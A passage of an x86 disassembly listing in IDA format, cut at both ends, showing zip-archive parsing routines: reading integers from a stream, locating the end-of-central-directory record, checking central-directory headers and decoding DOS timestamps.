		mov	edx, [ebp+var_8]
		mov	[ecx], edx
		jmp	short loc_42E9FD
; ---------------------------------------------------------------------------


loc_42E9F4:				; CODE XREF: sub_42E99E+4Aj
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0


loc_42E9FD:				; CODE XREF: sub_42E99E+54j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E99E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EA04	proc near		; CODE XREF: sub_42ED22+7Fp
					; sub_42ED22+127p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E94E
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_42EA3C
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E94E
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42EA3C:				; CODE XREF: sub_42EA04+23j
		mov	edx, [ebp+var_C]
		shl	edx, 8
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42EA63
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E94E
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42EA63:				; CODE XREF: sub_42EA04+4Aj
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_42EA8A
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E94E
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42EA8A:				; CODE XREF: sub_42EA04+71j
		mov	ecx, [ebp+var_C]
		shl	ecx, 18h
		mov	edx, [ebp+var_8]
		add	edx, ecx
		mov	[ebp+var_8], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_42EAA8
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_42EAB1
; ---------------------------------------------------------------------------


loc_42EAA8:				; CODE XREF: sub_42EA04+98j
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx], 0


loc_42EAB1:				; CODE XREF: sub_42EA04+A2j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42EA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EAB8	proc near		; CODE XREF: sub_42EB64+23p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8


loc_42EABE:				; CODE XREF: sub_42EAB8:loc_42EB5Bj
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_4], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		movsx	eax, [ebp+var_4]
		cmp	eax, 61h
		jl	short loc_42EAFB
		movsx	ecx, [ebp+var_4]
		cmp	ecx, 7Ah
		jg	short loc_42EAFB
		mov	dl, [ebp+var_4]
		sub	dl, 20h
		mov	[ebp+var_4], dl


loc_42EAFB:				; CODE XREF: sub_42EAB8+2Fj
					; sub_42EAB8+38j
		movsx	eax, [ebp+var_8]
		cmp	eax, 61h
		jl	short loc_42EB16
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 7Ah
		jg	short loc_42EB16
		mov	dl, [ebp+var_8]
		sub	dl, 20h
		mov	[ebp+var_8], dl


loc_42EB16:				; CODE XREF: sub_42EAB8+4Aj
					; sub_42EAB8+53j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_42EB28
		movsx	eax, [ebp+var_8]
		neg	eax
		sbb	eax, eax
		jmp	short loc_42EB60
; ---------------------------------------------------------------------------


loc_42EB28:				; CODE XREF: sub_42EAB8+64j
		movsx	ecx, [ebp+var_8]
		test	ecx, ecx
		jnz	short loc_42EB37
		mov	eax, 1
		jmp	short loc_42EB60
; ---------------------------------------------------------------------------


loc_42EB37:				; CODE XREF: sub_42EAB8+76j
		movsx	edx, [ebp+var_4]
		movsx	eax, [ebp+var_8]
		cmp	edx, eax
		jge	short loc_42EB48
		or	eax, 0FFFFFFFFh
		jmp	short loc_42EB60
; ---------------------------------------------------------------------------


loc_42EB48:				; CODE XREF: sub_42EAB8+89j
		movsx	ecx, [ebp+var_4]
		movsx	edx, [ebp+var_8]
		cmp	ecx, edx
		jle	short loc_42EB5B
		mov	eax, 1
		jmp	short loc_42EB60
; ---------------------------------------------------------------------------


loc_42EB5B:				; CODE XREF: sub_42EAB8+9Aj
		jmp	loc_42EABE
; ---------------------------------------------------------------------------


loc_42EB60:				; CODE XREF: sub_42EAB8+6Ej
					; sub_42EAB8+7Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42EAB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EB64	proc near		; CODE XREF: sub_42F59A+D5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 1
		jnz	short loc_42EB7F
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_431914	; strcmp
		add	esp, 8
		jmp	short loc_42EB8F
; ---------------------------------------------------------------------------


loc_42EB7F:				; CODE XREF: sub_42EB64+7j
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42EAB8
		add	esp, 8


loc_42EB8F:				; CODE XREF: sub_42EB64+19j
		pop	ebp
		retn
sub_42EB64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EB91	proc near		; CODE XREF: sub_42ED22+42p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42EBB2
		xor	eax, eax
		jmp	loc_42ED1E
; ---------------------------------------------------------------------------


loc_42EBB2:				; CODE XREF: sub_42EB91+18j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E77F
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], 0FFFFh
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_8]
		jbe	short loc_42EBD6
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax


loc_42EBD6:				; CODE XREF: sub_42EB91+3Dj
		push	404h
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42EBF4
		xor	eax, eax
		jmp	loc_42ED1E
; ---------------------------------------------------------------------------


loc_42EBF4:				; CODE XREF: sub_42EB91+5Aj
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 4


loc_42EC02:				; CODE XREF: sub_42EB91:loc_42ED03j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_14]
		jnb	loc_42ED08
		mov	edx, [ebp+var_C]
		add	edx, 400h
		cmp	edx, [ebp+var_14]
		jbe	short loc_42EC24
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		jmp	short loc_42EC30
; ---------------------------------------------------------------------------


loc_42EC24:				; CODE XREF: sub_42EB91+89j
		mov	ecx, [ebp+var_C]
		add	ecx, 400h
		mov	[ebp+var_C], ecx


loc_42EC30:				; CODE XREF: sub_42EB91+91j
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_20]
		cmp	eax, 404h
		jbe	short loc_42EC4F
		mov	[ebp+var_24], 404h
		jmp	short loc_42EC58
; ---------------------------------------------------------------------------


loc_42EC4F:				; CODE XREF: sub_42EB91+B3j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx


loc_42EC58:				; CODE XREF: sub_42EB91+BCj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		push	0
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42EC79
		jmp	loc_42ED08
; ---------------------------------------------------------------------------


loc_42EC79:				; CODE XREF: sub_42EB91+E1j
		mov	edx, [ebp+arg_0]
		push	edx
		push	1
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42E8A0
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42EC96
		jmp	short loc_42ED08
; ---------------------------------------------------------------------------


loc_42EC96:				; CODE XREF: sub_42EB91+101j
		mov	edx, [ebp+var_18]
		sub	edx, 3
		mov	[ebp+var_1C], edx


loc_42EC9F:				; CODE XREF: sub_42EB91:loc_42ECF9j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jle	short loc_42ECFB
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 50h
		jnz	short loc_42ECF9
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_1C]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	edx, 4Bh
		jnz	short loc_42ECF9
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+2]
		cmp	ecx, 5
		jnz	short loc_42ECF9
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+3]
		cmp	eax, 6
		jnz	short loc_42ECF9
		mov	ecx, [ebp+var_20]
		add	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx
		jmp	short loc_42ECFB
; ---------------------------------------------------------------------------


loc_42ECF9:				; CODE XREF: sub_42EB91+12Bj
					; sub_42EB91+13Bj ...
		jmp	short loc_42EC9F
; ---------------------------------------------------------------------------


loc_42ECFB:				; CODE XREF: sub_42EB91+11Cj
					; sub_42EB91+166j
		cmp	[ebp+var_10], 0
		jz	short loc_42ED03
		jmp	short loc_42ED08
; ---------------------------------------------------------------------------


loc_42ED03:				; CODE XREF: sub_42EB91+16Ej
		jmp	loc_42EC02
; ---------------------------------------------------------------------------


loc_42ED08:				; CODE XREF: sub_42EB91+77j
					; sub_42EB91+E3j ...
		cmp	[ebp+var_4], 0
		jz	short loc_42ED1B
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4331D4	; free
		add	esp, 4


loc_42ED1B:				; CODE XREF: sub_42EB91+17Bj
		mov	eax, [ebp+var_10]


loc_42ED1E:				; CODE XREF: sub_42EB91+1Cj
					; sub_42EB91+5Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_42EB91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ED22	proc near		; CODE XREF: sub_43012E+99p

var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_90		= dword	ptr -90h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 9Ch
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_42ED3A
		xor	eax, eax
		jmp	loc_42EF32
; ---------------------------------------------------------------------------


loc_42ED3A:				; CODE XREF: sub_42ED22+Fj
		movsx	eax, byte_434AA4
		cmp	eax, 20h
		jz	short loc_42ED59
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E71B
		add	esp, 4
		xor	eax, eax
		jmp	loc_42EF32
; ---------------------------------------------------------------------------


loc_42ED59:				; CODE XREF: sub_42ED22+22j
		mov	[ebp+var_8], 0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42EB91
		add	esp, 4
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_42ED7C
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42ED7C:				; CODE XREF: sub_42ED22+51j
		push	0
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42ED99
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42ED99:				; CODE XREF: sub_42ED22+6Ej
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42EDB4
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EDB4:				; CODE XREF: sub_42ED22+89j
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EDCF
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EDCF:				; CODE XREF: sub_42ED22+A4j
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EDEA
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EDEA:				; CODE XREF: sub_42ED22+BFj
		lea	edx, [ebp+var_98]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EE08
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EE08:				; CODE XREF: sub_42ED22+DDj
		lea	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EE23
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EE23:				; CODE XREF: sub_42ED22+F8j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_98]
		jnz	short loc_42EE3A
		cmp	[ebp+var_18], 0
		jnz	short loc_42EE3A
		cmp	[ebp+var_4], 0
		jz	short loc_42EE41


loc_42EE3A:				; CODE XREF: sub_42ED22+10Aj
					; sub_42ED22+110j
		mov	[ebp+var_8], 0FFFFFF99h


loc_42EE41:				; CODE XREF: sub_42ED22+116j
		lea	ecx, [ebp+var_7C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42EE5C
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EE5C:				; CODE XREF: sub_42ED22+131j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42EE77
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EE77:				; CODE XREF: sub_42ED22+14Cj
		lea	edx, [ebp+var_94]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EE95
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EE95:				; CODE XREF: sub_42ED22+16Aj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		add	edx, [ecx+0Ch]
		mov	eax, [ebp+var_78]
		add	eax, [ebp+var_7C]
		cmp	edx, eax
		jnb	short loc_42EEB5
		cmp	[ebp+var_8], 0
		jnz	short loc_42EEB5
		mov	[ebp+var_8], 0FFFFFF99h


loc_42EEB5:				; CODE XREF: sub_42ED22+184j
					; sub_42ED22+18Aj
		cmp	[ebp+var_8], 0
		jz	short loc_42EECB
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E71B
		add	esp, 4
		xor	eax, eax
		jmp	short loc_42EF32
; ---------------------------------------------------------------------------


loc_42EECB:				; CODE XREF: sub_42ED22+197j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_9C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		add	ecx, [eax+0Ch]
		mov	edx, [ebp+var_78]
		add	edx, [ebp+var_7C]
		sub	ecx, edx
		mov	[ebp+var_90], ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_80], eax
		mov	[ebp+var_20], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+0Ch], 0
		push	80h
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	ecx, 20h
		lea	esi, [ebp+var_9C]
		mov	edi, [ebp+var_C]
		rep movsd
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_42F473
		add	esp, 4
		mov	eax, [ebp+var_C]


loc_42EF32:				; CODE XREF: sub_42ED22+13j
					; sub_42ED22+32j ...
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42ED22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EF38	proc near		; CODE XREF: sub_430F58+36p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_42EF49
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42EF87
; ---------------------------------------------------------------------------


loc_42EF49:				; CODE XREF: sub_42EF38+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+7Ch], 0
		jz	short loc_42EF64
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42FF37
		add	esp, 4


loc_42EF64:				; CODE XREF: sub_42EF38+1Ej
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E71B
		add	esp, 4
		cmp	[ebp+var_4], 0
		jz	short loc_42EF85
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4331D4	; free
		add	esp, 4


loc_42EF85:				; CODE XREF: sub_42EF38+3Ej
		xor	eax, eax


loc_42EF87:				; CODE XREF: sub_42EF38+Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42EF38	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42EF9C
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42EFB5
; ---------------------------------------------------------------------------


loc_42EF9C:				; CODE XREF: TEUm:0042EF93j
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		mov	eax, [ecx+8]
		mov	ecx, [ebp+0Ch]
		mov	[ecx], edx
		mov	[ecx+4], eax
		xor	eax, eax


loc_42EFB5:				; CODE XREF: TEUm:0042EF9Aj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EFB9	proc near		; CODE XREF: sub_42F032+122p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		and	ecx, 1Fh
		mov	edx, [ebp+arg_4]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_4]
		and	eax, 1E0h
		shr	eax, 5
		sub	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_4]
		and	edx, 0FE00h
		shr	edx, 9
		add	edx, 7BCh
		mov	eax, [ebp+arg_4]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		and	ecx, 0F800h
		shr	ecx, 0Bh
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		and	eax, 7E0h
		shr	eax, 5
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		shl	edx, 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_42EFB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F032	proc near		; CODE XREF: sub_42F444+25p
					; sub_42F473+4Dp ...

var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_58		= byte ptr -58h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 70h
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F058
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42F43E
; ---------------------------------------------------------------------------


loc_42F058:				; CODE XREF: sub_42F032+1Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		push	0
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+14h]
		mov	eax, [ebp+var_10]
		add	edx, [eax+0Ch]
		push	edx
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F086
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F086:				; CODE XREF: sub_42F032+4Bj
		cmp	[ebp+var_C], 0
		jnz	short loc_42F0BB
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F0AB
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_42F0BB
; ---------------------------------------------------------------------------


loc_42F0AB:				; CODE XREF: sub_42F032+6Ej
		cmp	[ebp+var_14], 2014B50h
		jz	short loc_42F0BB
		mov	[ebp+var_C], 0FFFFFF99h


loc_42F0BB:				; CODE XREF: sub_42F032+58j
					; sub_42F032+77j ...
		lea	eax, [ebp+var_64]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F0D8
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F0D8:				; CODE XREF: sub_42F032+9Dj
		lea	eax, [ebp+var_60]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F0F5
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F0F5:				; CODE XREF: sub_42F032+BAj
		lea	eax, [ebp+var_5C]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F112
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F112:				; CODE XREF: sub_42F032+D7j
		lea	eax, [ebp+var_58]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F12F
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F12F:				; CODE XREF: sub_42F032+F4j
		lea	eax, [ebp+var_54]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F14C
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F14C:				; CODE XREF: sub_42F032+111j
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_54]
		push	ecx
		call	sub_42EFB9
		add	esp, 8
		lea	edx, [ebp+var_50]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F179
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F179:				; CODE XREF: sub_42F032+13Ej
		lea	edx, [ebp+var_4C]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F196
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F196:				; CODE XREF: sub_42F032+15Bj
		lea	edx, [ebp+var_48]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F1B3
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F1B3:				; CODE XREF: sub_42F032+178j
		lea	edx, [ebp+var_44]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F1D0
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F1D0:				; CODE XREF: sub_42F032+195j
		lea	edx, [ebp+var_40]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F1ED
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F1ED:				; CODE XREF: sub_42F032+1B2j
		lea	edx, [ebp+var_3C]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F20A
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F20A:				; CODE XREF: sub_42F032+1CFj
		lea	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F227
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F227:				; CODE XREF: sub_42F032+1ECj
		lea	edx, [ebp+var_34]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F244
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F244:				; CODE XREF: sub_42F032+209j
		lea	edx, [ebp+var_30]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F261
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F261:				; CODE XREF: sub_42F032+226j
		lea	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F27E
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F27E:				; CODE XREF: sub_42F032+243j
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_44]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_42F2EB
		cmp	[ebp+arg_C], 0
		jz	short loc_42F2EB
		mov	eax, [ebp+var_44]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_42F2AC
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_44]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+var_44]
		mov	[ebp+var_68], edx
		jmp	short loc_42F2B2
; ---------------------------------------------------------------------------


loc_42F2AC:				; CODE XREF: sub_42F032+267j
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_68], eax


loc_42F2B2:				; CODE XREF: sub_42F032+278j
		cmp	[ebp+var_44], 0
		jbe	short loc_42F2E2
		cmp	[ebp+arg_10], 0
		jbe	short loc_42F2E2
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
